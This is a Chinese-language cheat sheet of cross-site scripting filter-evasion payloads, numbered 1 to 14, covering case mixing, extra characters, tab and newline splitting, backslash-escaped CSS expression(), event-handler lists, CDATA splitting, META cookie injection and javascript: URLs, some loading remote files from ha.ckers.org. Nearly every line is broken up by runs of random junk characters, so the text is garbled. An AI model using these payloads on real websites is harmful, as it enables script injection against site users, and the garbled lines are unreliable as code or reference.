1. 改变字符大小写& l+ i9 E) ?, ?3 |9 X/ T/ x
' J; t8 V" p$ U. h" k* \/ L( }1 \
5 F. ]1 M9 S6 H
) r7 Q& ?4 e/ Y# N1 |! V* T7 J5 S <sCript>alert(‘d’)</scRipT>/ C/ O; o& J! Q
9 l& G* v6 S3 W8 c2. 利用多加一些其它字符来规避Regular Expression的检查
& T" l8 b+ H+ [
+ f R4 N! E2 s9 ]5 c <<script>alert(‘c’)//<</script>9 a: Q; q9 g" R/ I" \# R! S k& S
' d& u* F- ]; w: ` <SCRIPT a=">" SRC="t.js"></SCRIPT>; }8 y) ]* Y# q- _( [, U
' }8 u& i. m) @% F2 k. F <SCRIPT =">" SRC="t.js"></SCRIPT>- A& p8 L3 p7 r3 W2 o( ]& h! R
D8 H' s' J# I- W- M
<SCRIPT a=">" ” SRC="t.js"></SCRIPT>/ u6 c$ z8 Y1 X0 l( Y4 p3 q* Z: f: ^, W
# P7 A3 J8 h6 [ e' y
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>" V* f: ~. a% u
7 H% c: v3 b/ l' A0 X1 q% Y
<SCRIPT a=`>` SRC="t.js"></SCRIPT>* H6 k" k/ W/ m8 r
. p I* f; [( J ~: K1 c <SCRIPT a=">’>" SRC="t.js"></SCRIPT>6 @: T# Z* p' r1 N
0 S L5 j1 n# O9 O9 l1 v3. 以其它扩展名取代.js1 i; J! }7 r# Y7 F
1 } c& Y/ z0 L- E$ ^
<script src="bad.jpg"></script>
/ S" N! R& |6 X8 |# R/ {* H9 U/ _6 L0 w7 W3 b& g/ u" I( P
4. 将Javascript写在CSS档里1 J6 H/ [0 t0 D1 W0 ] I* }
# m/ w2 [% P7 j8 d+ }8 u2 g9 G) J6 g+ I
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">) v1 T% O% N, z8 g @' C
- L# N4 j' ]: g$ G2 c2 \ example:
* n% W# b% R9 ?+ b p3 S) ^
8 n; G' W4 J0 q+ b3 _, C body {
% M! J2 m3 r' n1 @% v: d* {
; u4 y5 F/ m; C" B' @# H+ B background-image: url(‘javascript:alert("XSS");’)
' i8 O6 u3 ]( G' K9 `. J% z U' i. {0 b
}
2 U5 n7 R$ N; e$ _' ^' O
" P! E& C; A5 Y' V% n0 F5. 在script的tag里加入一些其它字符! T+ C: i7 e N# _$ a/ Y% K
) N! p4 @+ T+ K, N5 {' Q <SCRIPT/SRC="t.js"></SCRIPT>/ P. P/ o8 j u X6 Q( ~
, d1 Y2 O3 t) [# V9 i- k. S
<SCRIPT/anyword SRC="t.js"></SCRIPT>- o6 \! w$ V& J. A$ G, i
6 r% A# b2 [3 k" |6. 使用tab或是new line来规避 x( x4 Q, R5 F4 O; ?" G
1 y5 m" E! V3 j$ q: d$ y# D1 ?
<img src="jav ascr ipt:alert(‘XSS3′)">7 U% \1 ~7 x2 E$ c& t$ L9 G
! t6 _& V5 h& _8 w7 ^0 r( n8 S& K <img src="jav ascr ipt:alert(‘XSS3′)">
7 S5 r. b9 c; P3 b
) n* o4 N; Q+ ^. e+ g i <IMG SRC="jav ascript:alert(‘XSS’);">/ y( C9 U' `/ P( n$ F
% t( s6 N/ c S3 ^' @8 a) `7 C -> tag
/ Z& |; n8 V/ p3 ^2 Q
: Z$ z1 }) e4 C0 N; i J& X -> new line" E7 D# `6 q9 i" e5 B! g! C2 H
9 i. a, y- j5 ]) {% S
7. 使用"\"来规避+ Q4 j9 h7 o0 U: N/ G* g$ r
# K' L* q$ B6 l2 Z; u; l t
<STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
9 r6 \! X7 M3 j/ m; c" e- M
& ^( \1 Y4 {' {2 s9 H' u <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’> L* `8 n. I- j9 E) v5 ]3 I Z% Y! }, |/ }
% m T2 \2 v! h7 ]& i; V m <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">/ U) t, y5 ?9 U: D; b
- W* y: z# }0 d8 v' n
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">. ^2 |1 f- O- l4 F; K) c
' |" ^" _; k- I: B. {% o- z1 Z
<A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
* L3 @& t F; E( k% l' y. p! K" Q9 }# E3 A7 d) x/ t) @9 ~
8. 使用Hex encode来规避(也可能会把";"拿掉)8 |* [* ^% D* f0 v+ A$ w9 m
/ w! Z. j7 \% H9 F# k; G! Y* C <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
: n. X4 p- j# s" u4 ` w" G
3 ?$ m# h } l2 c+ v" E/ ] 原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
: K9 k, M1 ]: d& v
+ {! y. h+ T( W7 q3 Z# e <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
& j' r- K4 }% O+ P" U& |5 k
, X4 Z: D8 X5 q( g( b$ T" Z 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">' V* Y1 k5 H+ |# b
7 V' `, [+ T' Z- u( V+ L) l0 @/ Z9. script in HTML tag
6 y5 S4 s' I4 A9 J( m
X. {% H; K6 i2 i' s <body onload=」alert(‘onload’)」>
3 K- y) z% U9 o- E) r$ x. D$ z; y& S7 d% A& B+ T
onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
3 P6 E+ W" |0 P) v b# f5 G- H$ s' c5 U
10. 在swf里含有xss的code8 `2 M1 C: u8 g" [7 P8 n- q
; n( S$ E0 |7 H! L" X$ }2 N* q# C9 h <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>- N5 ]8 C& s( b& Q$ B3 Z8 Y, F
! L( p, @- B+ A4 A6 Q4 L; D11. 利用CDATA将xss的code拆开,再组合起来。0 l( v$ Y( _9 {2 y
/ ~, v* s9 Q \* p <XML ID=I><X><C>
8 O: S; L$ T" z+ U( ]8 d" h
/ t$ r: v; @5 k, v$ _ <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
& K2 I% q% K, G2 l* _8 A* | z* |; ]8 Z$ D \7 ]/ E0 t: e& c0 E
</C></X>
5 k: R8 Q# p3 ]( j- t2 B
; j! X7 v% L, E- r0 ^5 n! j </xml>$ b( E t4 D4 R1 f2 E
. v! g2 S8 S1 `; x% u' m <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
, E& o4 C& ~0 H1 @6 ^
7 W& |6 b6 [0 @3 I/ Q. L <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>. l4 ]8 B& A1 d( D5 X
7 O" ]% m! {& c- M. z <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
3 g& e _3 P$ T! k5 I* A
8 L7 U, F7 g! _; K) n12. 利用HTML+TIME。
7 R, X1 M6 e9 x9 @8 n: \* T" P" k9 y/ B/ [
<HTML><BODY>' n) F; ?! M. k3 o7 g- N
: s% e9 U3 _5 c7 C2 y5 g6 E <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
- @' P1 L' W+ x) o6 ?3 `7 R: G: V
<?import namespace="t" implementation="#default#time2">
: P8 ~6 y5 r' I4 |( @ x$ I" V0 x0 h* I# k# b5 B
<t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
! J7 r& v( ~$ M2 P0 I- T J/ t
) a5 o) V! f3 \ </BODY></HTML>
6 q: d0 x1 l1 ?/ @7 i: d) e- F6 H3 ^/ u) e/ m {1 q
13. 透过META写入Cookie。: E6 Z# ]& ?: |: P, V; z
" a5 s& R8 G9 x% a6 y4 g <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">6 z2 b: H& X4 t) \9 U7 w( a
! n4 w9 L1 M* h14. javascript in src , href , url
& C8 \* x8 W! G2 M
" B* C5 i7 f) O; I <IFRAME SRC=javascript:alert(’13′)></IFRAME>
: e2 V. Q/ u- D: K: Y# {: G& C# q# P9 @0 j
<img src="javascript:alert(‘XSS3′)">8 x# L% T; x+ }# B
k. M& t# p" s' Z2 {2 o<IMG DYNSRC="javascript:alert(‘XSS20′)">
8 U9 D+ N7 D+ g$ |. p
, @6 `& g7 ]1 _ <IMG LOWSRC="javascript:alert(‘XSS21′)">
9 @3 Q6 J( m6 C+ I% r. `+ l7 t$ p' \# t" K5 y
<LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">! I2 x* k7 r7 s6 x A
& I* Q7 W$ \8 ?# D c <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
: \9 S( @- }* J" f, m/ K# @+ J' }- w0 R! X
<TABLE BACKGROUND="javascript:alert(‘XSS29′)">
# i) t$ x4 e: A- W4 f! j6 i5 `2 k3 |8 a; c& P# f9 N$ x
<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
, L) t5 ?$ }# c" k% o# F
1 H1 W: A: B% D* [) w8 o# { <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
! k3 C/ z" j* |) u% _- i. R- F; F, g# A) I
</STYLE><A CLASS=XSS></A>/ `# N S8 _7 P8 Z2 a+ j% N
6 V& D& L- @1 Z+ d/ d6 j
<FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>/ {' S( E/ j0 F6 U! F. ~
+ ^: x5 A' t! G7 p# \
|